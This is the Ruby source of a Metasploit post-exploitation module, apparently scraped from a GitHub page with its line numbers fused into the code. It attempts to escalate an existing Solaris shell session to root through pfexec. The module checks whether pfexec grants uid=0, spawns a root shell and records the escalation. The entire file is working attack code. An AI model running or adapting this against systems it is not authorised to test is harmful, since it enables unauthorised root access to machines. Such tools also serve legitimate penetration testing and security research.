Path: blob/master/modules/post/solaris/escalate/pfexec.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Solaris::System8include Msf::Post::Solaris::Priv910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Solaris pfexec Upgrade Shell',15'Description' => %q{16This module attempts to upgrade a shell session to UID 0 using pfexec.17},18'License' => MSF_LICENSE,19'Author' => ['bcoles'],20'Platform' => 'solaris',21'References' => [22['URL', 'https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html'],23['URL', 'http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html'],24['URL', 'http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec']25],26'SessionTypes' => ['shell'],27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [IOC_IN_LOGS],30'Reliability' => [REPEATABLE_SESSION]31}32)33)34register_options([35OptString.new('PFEXEC_PATH', [true, 'Path to pfexec', '/usr/bin/pfexec']),36OptString.new('SHELL_PATH', [true, 'Path to shell', '/bin/sh'])37])38end3940def shell_path41datastore['SHELL_PATH'].to_s42end4344def pfexec_path45datastore['PFEXEC_PATH'].to_s46end4748def run49unless session.type == 'shell'50fail_with(Failure::BadConfig, "This module is not compatible with #{session.type} sessions")51end5253if is_root?54fail_with(Failure::BadConfig, 'Session already has root privileges')55end5657unless command_exists?(pfexec_path)58fail_with(Failure::NotVulnerable, "#{pfexec_path} does not exist")59end6061user = cmd_exec('id -un').to_s6263print_status("Trying pfexec as `#{user}' ...")6465res = cmd_exec("#{pfexec_path} #{shell_path} -c id")66vprint_status res6768unless res.include?('uid=0')69fail_with(Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec")70end7172print_good('Success! Upgrading session ...')7374cmd_exec("#{pfexec_path} #{shell_path}")7576unless is_root?77fail_with(Failure::NotVulnerable, 'Failed to escalate')78end7980print_good('Success! root shell secured')81report_note(82host: session,83type: 'host.escalation',84data: { :escalation => "User `#{user}' pfexec'ed to a root shell" }85)86end87end888990